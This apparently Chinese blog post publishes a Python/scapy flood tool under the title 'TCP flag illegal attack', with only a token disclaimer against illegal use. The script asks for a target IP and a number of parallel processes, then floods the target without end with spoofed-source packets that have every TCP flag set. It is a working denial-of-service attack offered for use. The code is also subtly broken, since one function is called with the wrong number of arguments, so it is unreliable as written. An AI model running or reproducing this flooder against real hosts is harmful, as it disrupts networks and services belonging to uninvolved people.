【TCP标志位非法攻击】不要参与违法犯罪行为,仅供交流

#!/usr/bin/python
# Zhoushukang
# zhoushukang@zju.edu.cn
# TCP标志位非法攻击 Flood Tool Python

from multiprocessing import Process
from scapy.all import *
import os
import sys
import random


def randomIP():
    ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
    return ip


def randInt():
    x = random.randint(1000, 9000)
    return x


def TCP_signal_Flood(dstIP, counter):
    total = 0
    print("Packets are sending ...")
    for x in range(0, counter):
        # 创建一个IP数据包
        ip_packet = IP(src=randomIP(), dst=dstIP)

        # 创建一个TCP数据包,设置标志位
        tcp_packet = TCP(flags="UFAPRS")

        # 合并IP数据包和TCP数据包
        tcp_packet = ip_packet / tcp_packet

        # 发送TCPBAIO数据包
        send(tcp_packet, verbose=0)
        total += 1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)


def info():
    os.system("clear")
    print("#############################")
    print("#    github.com/Zhoushukang   #")
    print("#############################")
    print("# Welcome to TCP标志位非法攻击 Tool #")
    print("#############################")

    dstIP = input("\nTarget IP : ")
    # dstPort = input("Target Port : ")

    return dstIP


def attack(dstIP, counter):
    port = 1
    while True:
        TCP_signal_Flood(dstIP, port, int(counter))
        port = port + 1
        if port == 65534:
            port = 1


if __name__ == '__main__':
    num = input("并行数:")
    counter = input("你需要发送多少包 : ")
    list = []
    dstIP = info()
    for i in range(int(num)):
        p = Process(target=attack, args=(dstIP, counter))
        list.append(p)
    for i in list:
        i.start()
    for i in list:
        i.join()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值